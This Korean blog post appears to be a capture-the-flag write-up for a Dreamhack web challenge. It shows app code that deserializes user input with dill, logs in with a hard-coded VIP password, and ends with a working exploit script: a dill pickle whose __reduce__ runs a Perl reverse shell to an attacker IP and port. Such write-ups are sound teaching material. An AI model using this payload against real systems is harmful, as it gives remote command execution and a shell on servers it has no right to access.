WEB hacking/드림핵(dreamhack)
Dreamhack Special Letter Translator WriteUp
Roronoa
2025. 7. 17. 13:35
반응형
문제 풀이
app.py
translator 페이지에서 dill.loads를 통해 base64로 인코딩 된 데이터를 역직렬화 한다.
dill에서 역직렬화 취약점이 존재하기 때문에 RCE가 가능하다. 하지만 vip token이 존재해야지 해당 요청을 전송할 수 있다.
@app.route('/translator', methods=['GET', 'POST'])
def translator():
token = request.cookies.get('Authorization')
decoded_token = verify_vip_token(token)
if not decoded_token:
return jsonify({"error": "VIP CAN USE!"}), 403
if request.method == 'POST':
letter = request.form.get('letter')
try:
trans_letter = dill.loads(base64.b64decode(letter))
return render_template('translator.html', decoded_info=trans_letter) # 그냥 딕셔너리 자체 출력
except Exception as e:
return render_template('translator.html', error=str(e))
return render_template('translator.html')
로그인에서 username과 password가 일치할 경우 해당 role을 부여하여 json토큰을 생성한다.
여기서 삽질 했는데, vip 패스워드가 진짜 supercomplexpassword123 이거다. 그래서 vip, supercomplexpassword123로 로그인하면 성공하게 된다.
accounts = [
{
"username": "guest",
"password": "guest",
"role": "guest"
},
{
"username": "vip",
"password": "supercomplexpassword123",
"role": "vip"
}
]
def verify_vip_token(token):
try:
decoded_token = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
if decoded_token.get('role') == 'vip':
return decoded_token
return None
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None
...
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
for account in accounts:
if account["username"] == username and account["password"] == password:
token = jwt.encode({
"username": username,
"role": account["role"],
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, SECRET_KEY, algorithm="HS256")
return f"<h1>Guest Token Is </h1>{token}"
return jsonify({"error": "로그인 에러"}), 401
로그인하면 vip 토큰을 확인할 수 있다.
토큰을 쿠키 값에서 가져와서 확인하기 때문에 Authorization 쿠키를 생성한 후 token을 저장하여 translator 경로에 접속하면 잘 접속 된다.
Exploit Code
dill 직렬화된 데이터로 reverse shell payload를 생성한다.
rev = """perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'"""
import dill
import base64
import os
class A(object):
def __reduce__(self):
return (os.system,(rev,))
payload = dill.dumps(A())
encode_payload = base64.b64encode(payload)
print(encode_payload)
# dill.loads(base64.b64decode(encode_payload))
편지 디코딩 하는 곳에 base64로 인코딩 된 Exploit Code 메시지 입력
직렬화된 reverse shell payload가 역직렬화 하면서 해당 코드를 실행하기 때문에 쉘을 획득할 수 있다.
쉘을 획득한 후 flag.txt를 확인하였다.
반응형